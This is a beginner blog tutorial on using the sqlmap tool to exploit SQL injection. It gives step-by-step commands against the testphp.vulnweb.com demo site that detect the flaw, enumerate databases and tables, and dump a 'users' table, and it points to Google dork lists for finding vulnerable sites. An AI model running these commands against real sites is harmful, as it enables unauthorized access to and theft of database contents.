Sqlmap Hacking tutorial with pictures for beginners

Namaste Hackers,



Today, In This Post I am going to show you how to use the SQL map tool in Kali Linux Or You Can Say How To Hack SQL Injection Vulnerable Site With The Help Of SQLMAP tool but first, if you are a new beginner and want to understand all concepts clearly than I think you need to read these provided posts carefully.

What is SQL Injection And How its Works
Find Vulnerable SQL Injection Sites
Big List Of Google Dorks For Finding SQLi Sites
List Of Legal SQL Injection Practising Sites


Now, Let's Quickly Start Our Tutorial

Open Your Terminal And Type

# python sqlmap.py 

To Verify That Sqlmap is working Correctly.

friends, For Demo Purpose here for this tutorial, I Am Using A Demo Site Urls. So, you can also follow my step anytime without worrying about any type of risk.


Step 1.

Type Below Command In Terminal.

# python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1

Here,

      -u      =     Targeted Site Vulnerable Url
In This Step, First We will let our SQL map tool to verify that provided URL is vulnerable or not.



As You Can See In Above ScreenShot, Sqlmap Detected back-end DBMS and Web Application.


Step 2.


Type Below Commands
# python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

Here,
      -u      =     Targeted Site Vulnerable Url
      --dbs =     retrive available Database names

After Conforming that Provided URL is Vulnerable, In This Step, We Will Try To Recover All Available Database Names.


As You Can See In Above ScreenShot, Sqlmap got 2 Databases.



Step 3.


Type Below Commands
# python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --tables -D acuart

Here,
      -u      =     Targeted Site Vulnerable Url
      -D     =     Select Specific Database
      --tables = Retrieve Available Tables Names

After Getting list Of Available Database Name, We Need To Choose Any One Database To Procedure Our Future Steps. So, Here I Am Selecting 'acuart' Database. Basically, In This Step, We Will Try to Find All Available Tables Names From Selected Database.




As You Can See In Above ScreenShot, Sqlmap got 8 Tables Names List


Step 4.


Type Below Commands
# python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --columns -T users -D acuart

Here,
      -u      =     Targeted Site Vulnerable Url
      -D     =     Select Specific Database
      -T     =      Select Specific Table
      --columns  = Retrieve Columns Names


After Getting List Of Available Tables Names. Now, We Need To Select Any Particular Table To Get its Internal Data. So, Here I Am Select 'users' Table.   Now, In This Step, We Will Try to Retrieve All Available Columns Names Available In Select Table.


As You Can See In Above ScreenShot, Sqlmap Got 8 Columns list


Step 5.


Type Below Commands

# python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dump -T users -D acuart

Here,
      -u      =     Targeted Site Vulnerable Url
      -D     =     Select Specific Database
      -T     =      Select Specific Table
      --dump = Get All Data From Selected Columns

And At The End, In This Step, We will Try To Retrieve All Data Available In Database Table With The Help Of  '--dump' Argument.





As You Can See In Above ScreenShot, Sqlmap extracted all data from database successfully!

Done!


Written By:
                       SSB


Share this

Related Posts

Previous
Next Post »